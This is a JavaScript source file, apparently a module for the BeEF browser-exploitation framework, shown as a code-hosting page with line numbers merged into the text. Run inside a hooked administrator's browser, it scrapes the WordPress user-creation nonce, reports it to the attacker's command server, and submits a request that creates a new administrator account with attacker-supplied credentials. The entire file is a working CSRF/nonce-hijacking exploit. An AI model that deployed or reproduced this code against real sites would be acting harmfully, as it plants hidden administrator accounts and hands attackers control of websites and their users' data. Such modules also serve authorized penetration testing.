Path: blob/master/modules/exploits/wordpress_add_admin/command.js
1154 views
//1// Copyright (c) 2015 Daniel Reece - @HBRN82//34beef.execute(function() {56function g(u){ x=new XMLHttpRequest(); x.open('GET',u,false); x.send(null); return x.responseText; }7function p(u, b){ x=new XMLHttpRequest(); x.open('POST',u,true); x.setRequestHeader("Content-type","application/x-www-form-urlencoded"); x.send(b); return x.responseText; }8/* Kept incase there is a valid reason to use forms over AJAX, I cant think of any.9function post(path, params, method) {10method = method || "post";11var form = document.createElement("form");12form.setAttribute("method", method);13form.setAttribute("action", path);1415for(var key in params) {16if(params.hasOwnProperty(key)) {17var hiddenField = document.createElement("input");18hiddenField.setAttribute("type", "hidden");19hiddenField.setAttribute("name", key);20hiddenField.setAttribute("value", params[key]);21form.appendChild(hiddenField);22}23}24document.body.appendChild(form);25form.submit();26}27*/2829var domail = '<%= @domail %>';3031page = g("/wp-admin/user-new.php");3233m = page.match(/\-user" value="(.*?)" \/><input/);3435beef.net.send("<%= @command_url %>", <%= @command_id %>, "CSRF nonce hijacked = " + m[1] +36"\nCreating admin... (<%== format_multiline(@user + ':' + @pass) %>)");3738var blob = "action=createuser" +39"&_wpnonce_create-user=" + m[1] +40"&_wp_http_referer=%2Fwp-admin%2Fuser-new.php" +41"&user_login=<%== format_multiline(@user) %>" +42"&email=<%== format_multiline(@email) %>" +43"&first_name=<%== format_multiline(@fname) %>" +44"&last_name=<%== format_multiline(@lname) %>" +45"&url=<%== format_multiline(@url) %>" +46"&pass1=<%== format_multiline(@pass) %>" +47"&pass2=<%== format_multiline(@pass) %>";48if (domail){49//Wordpress will mail regardless of param value if it exists.50blob = blob + "&send_password=1";51}52blob = blob + "&role=administrator&createuser=Add+New+User";5354p("/wp-admin/user-new.php", blob);5556/* Still cant think of any.57post('/wp-admin/user-new.php',58{action: 'createuser',59'_wpnonce_create-user': m[1],60_wp_http_referer: '%2Fwp-admin%2Fuser-new.php',61user_login: '<%== format_multiline(@user) %>',62email: '<%== format_multiline(@email) %>',63first_name: '<%== format_multiline(@fname) %>',64last_name: '<%== format_multiline(@lname) %>',65url: '<%== format_multiline(@url) %>',66pass1: '<%== format_multiline(@pass) %>',67pass2: '<%== format_multiline(@pass) %>',68send_password: '1',69role: 'administrator',70createuser: 'Add+New+User+'});71*/7273});7475